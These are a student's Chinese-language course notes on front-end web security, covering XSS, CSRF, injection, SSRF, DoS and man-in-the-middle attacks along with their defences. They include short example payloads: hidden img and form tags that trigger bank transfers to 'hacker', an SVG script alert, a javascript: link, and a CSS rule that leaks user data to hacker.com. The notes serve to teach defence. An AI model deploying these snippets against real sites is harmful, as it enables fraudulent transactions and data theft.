Web 开发的安全之旅 | 青训营笔记
这是我参与「第四届青训营 」笔记创作活动的的第 9 天
课程概述
从攻击、防御两个视角,简要介绍前端范畴内常见的安全问题,包括 XSS、CSRF、SQL 注入、DOS 等。
引入
Web 安全一窥
Web 安全问题其实很常见,谷歌搜索 "data leak" 就会得到上亿条的搜索结果。
例如当年 Steam 的免费充值漏洞。第二天就被官方修复了。
Web 安全问题会危害:
- 用户
- 公司
- 程序员(祭天)
两个角度看 Web 安全
- 假如你是一个 hacker —— 攻击
- 假如你是一个开发者 —— 防御
攻击
跨站脚本攻击 XSS
XSS 的定义
Cross-Site Scripting (XSS) :在一个开发维护的页面中,攻击者通过一种方式把他的恶意脚本注入进来。
XSS 主要利用了:
- 开发者盲目信任用户提交的内容
- 没有将用户提交内容进行过滤 / 转义,直接转化成 DOM
XSS 的特点
- 通常难以从 UI 上感知(暗地执行脚本)
- 窃取用户信息(cookie / token)
- 可以执行 js ,绘制 UI (例如弹窗),诱骗用户点击 / 填写表单
XSS 的分类
存储型 XSS 攻击
存储型 XSS 攻击(Stored XSS),这种 XSS 攻击会被存到数据库中,如上面的举例。
当用户访问页面时,就会涉及到服务端去读数据、写数据给浏览器,此时用户被攻击。
这种攻击是危害最大的,因为对全部用户都可见。
比如在视频网站内,一个视频里有恶意脚本,当用户观看视频时就会受到攻击,隐私信息被泄露。
举例:
没有过滤
可以直接提交恶意脚本
反射型 XSS 攻击
反射型 XSS 攻击(Reflected XSS)
- 不涉及数据库
- 完全从 URL 上攻击。
举例:
上面提供了一个 URL ,带了一些参数。
下面是服务器代码,会从用户读取字段并直接生成 HTML 片段。
如果攻击者把字段构造为恶意的 script 标签,那么用户访问页面时会命中这种 XSS 攻击。
基于 DOM 的 XSS 攻击
基于 DOM 的 XSS 攻击(DOM-based XSS),这种攻击完全不需要服务器的参与,恶意攻击的发起和执行全在浏览器中完成。
举例:
URL 与上一个例子一样,但执行环境发生了改变,这里是在浏览器中。依旧是从 URL 的 searchParams 中读取指定参数,把参数对应的值写到 HTML 标签的 innerHTML 属性中,再插入到具体的 body 中。这样子也完成了一次 XSS 攻击。
Reflected vs DOM-based
反射型 XSS 攻击与基于 DOM 的 XSS 攻击在注入脚本的地方有一个重要的区别,
- 反射型 XSS 攻击的恶意脚本是在服务器端进行注入
- 基于 DOM 的 XSS 攻击完全由浏览器完成脚本注入
基于 Mutation 的 XSS 攻击
基于 Mutation 的 XSS 攻击(Mutation-based XSS)
- 利用了浏览器渲染 DOM 的特性
- 可以理解为按浏览器区别攻击的方式。
举例:
根据浏览器的渲染机制触发攻击
跨站伪造请求 CSRF
跨站伪造请求(Cross-site request forgery)
- 在用户不知情的情况下
- 利用用户权限(如 cookie)
- 构造指定 HTTP 请求,窃取或修改用户敏感信息。
举例:
一个用户收到了一封电子邮件,其中有一个链接,点击即访问恶意页面。页面中攻击者构造了一个向银行发起转账的 HTTP 请求,但这个请求是在另外一个域名。当用户点击链接触发恶意页面后,银行接收到了这个伪造请求,发现请求上有用户 cookie 且验证通过,银行服务器便认为这是一个合法的用户请求,然后执行这个转账接口完成转账返回结果。这就让用户平白无故地丢失了一笔财产。
整个过程中用户并没有访问银行的任何页面,但银行页面中对应的特定接口却被请求且请求执行成功了。这就是一个典型的跨站伪造请求。
跨站伪造请求最常见的是 GET 请求方式。
比如写一个 a 标签,用户只要完成一次点击就可以完成一次攻击。
<a href="https://bank.com/transfer?to=hacker&amount=100">点我抽奖</a>
<!-- 确实中奖了 -->
再比如,构造一个 img 标签,用户只要一访问这个页面,图片一被加载,就会完成一次 GET 请求,也就是一次攻击。
<img style="display:none;" src="https://bank.com/transfer?to=hacker&amount=100" />
攻击方式不局限于 GET 请求,攻击者可以构造任意形式的请求。只需要构造一个 HTML 表单即可。(beyond GET)
<form action="https://banl/transfer_tons_of_money" method="POST">
<input name="amount" value="100000000000" type="hiden" />
<input name="to" value="hacker" type="hidden" />
</form>
注入 Injection
SQL 注入
最常见的注入攻击是 SQL 注入攻击。假如有一个 HTTP 请求,SQL 参数在请求上带入,然后这段请求被打到了服务器端,服务端从 HTTP 请求上去读参数,构造出一个 SQL 语句,然后去运行这段 SQL 代码。这段代码被执行之后,就是被执行一些恶意的 SQL 注入。结果导致攻击者可以获取其他数据、修改数据、删除数据等等。
接下来看一个具体注入的例子:
注入不止于 SQL
注入其实不局限于 SQL ,他还有其他的方式。比如命令行(CLI)、系统命令(OS command)、 Server-Side Request Forgery(SSRF)服务器端伪造请求。严格而言,SSRF 不是一种注入,但是原理类似。
举例:
注入执行指令:
注入读取和修改指令:
SSRF 举例:
拒绝服务 DoS
Denial of Service(Dos),通过某种方式(构造特定请求),导致服务器资源被显著消耗,来不及响应更多请求,导致请求挤压,进而雪崩效应。
正则表达式的贪婪模式
基于正则表达式的拒绝服务 DoS
基于正则表达式的 DoS(ReDoS)
分布式拒绝服务 DDoS
Distributed DoS(DDoS),短时间内,来自大量僵尸设备的请求流量,服务器不能及时完成全部请求,导致请求堆积,进而雪崩效应,无法响应新请求。「不搞复杂的,量大就完事了」
攻击特点:
- 直接访问 IP
- 任意 API
- 消耗大量带宽(耗尽)
举例:
洪水攻击
传输层
中间人攻击
防御
XSS 的防御
- 永远不要信任用户提交的内容
- 不要将用户提交内容直接转换成 DOM
现成工具
前端
- 主流框架默认防御 XSS
- google-closure-library
服务端(Node)
- DOMPurify
假如必须动态生成 DOM
如果用户需求是必须动态生成 DOM ,注意以下几点:
- 如果要把 string 直接生成 DOM ,一定要对 string 进行转义
new DOMOarser();
- 如果允许用户上传 svg 文件,要对 svg 文件进行一次扫描,因为 svg 标签内可以插入 script 标签来进行攻击
<svg>
<script>alert("xss");</script>
</svg>
- 尽量不要做让用户自定义跳转的行为,如果需要也务必做好过滤
<a href="javascript:alert('XSS')"></a>
- 允许用户自定义样式时要注意
input[type=radio].income-gt10k:checked {
background: url("https://hacker.com/?income=gt10k")
}
同源策略
Same-origin Policy 同源策略是指:确保两个 URL 上的协议、域名、端口都一致。
内容安全策略
Content Security Policy (CSP) 内容安全策略
- 允许开发者定义哪些源(域名)被认为是安全的
- 来自安全源的脚本可以执行,否则直接抛错
- 对 eval 和 inline script 直接拒绝
举例:
CSRF 的防御
可以通过限制请求来源的方法来限制伪造请求。具体方法是对请求头部的 Origin 和 Referer 进行校验。
token
CSRF 的 token 防御机制:
- 用户绑定:攻击者也可以是注册用户(可以获取自己的 token)
- 过期时间:前向保密
iframe 攻击
攻击者可以使用 iframe 绕过 Origin / Referer 的限制
CSRF anti-pattern
避免偷懒行为,不要把接口混在一起
SameSite Cookie
避免用户信息被携带。从根源上解决了 CSRF 的攻击。
举例:
限制的是:
- Cookie domain
- 页面域名
依赖 Cookie 的第三方服务怎么办?
Set-Cookie: SameSite=None; Secure;
SameSite vs CORS
| SameSite | CORS |
|---|---|
| Cookie 发送 | 资源读写(HTTP 请求) |
| domain vs 页面域名 | 资源域名 vs 页面域名 |
| 限制条件在当前页面 | 白名单 |
SameSite demo
防御 CSRF 的正确姿势
不要 case by case 地去解决,应该做一个中间件去生成各种防御策略,在一处保证整个 Web app 都能完成对 CSRF 的防御。
Injection 的防御
SQL 注入
- 找到项目中查询 SQL 的地方
- 使用 prepared statement
其他注入
-
最小权限原则
- 所有命令都不要通过 sudo 来执行,不要给 root 权限
-
建立允许白名单和过滤
- 只允许指定命令执行,坚决拒绝 rm 等高危操作
-
对 URL 类型参数进行协议、域名、IP 等限制
- 避免访问内网资源
DoS 的防御
Regex DoS
- 完善 Code Review ,避免写出贪婪匹配的方式
- 代码扫描工具去扫描整个代码仓库中存在的正则表达式并把它们做规整,然后对这些正则表达式做性能的基础测试
- 拒绝使用用户提供的正则表达式
DDoS
- 流量治理
- 负载均衡(过滤)
- API 网关(过滤)
- 前置 CDN (抗量)
- 快速自动扩容(抗量)
- 非核心服务降级(抗量)
传输层
防御中间人
HTTPS
HTTPS 的一些特性
- 可靠性:加密(避免明文传输)
- 完整性:MAC 验证(确保信息不被篡改)
- 不可抵赖性:数字签名(确保双方身份可被信任)
可靠性
TLS 1.2
完整性
哈希值计算
不可抵赖性
数字签名:公钥和私钥
demo
当签名算法不够健壮时可能会被中间人破解,但随着签名算法的迭代,现在的签名算法难以被单一的破解者破解,可以放心使用证书。
HSTS
HTTP Strict-Transport-Security (HSTS) ,将 HTTP 主动升级到 HTTPS。
先要通过 https 访问页面才能生效。
SRI
Subresource Intergrity (SRI) 。静态资源被劫持篡改:对比哈希。
demo
补充内容
允许政策
iframe
<iframe allow="xxx" />
尾声
-
安全无小事
-
使用的依赖(npm package,甚至是 NodeJS)可能成为最薄弱的一环
-
保持学习心态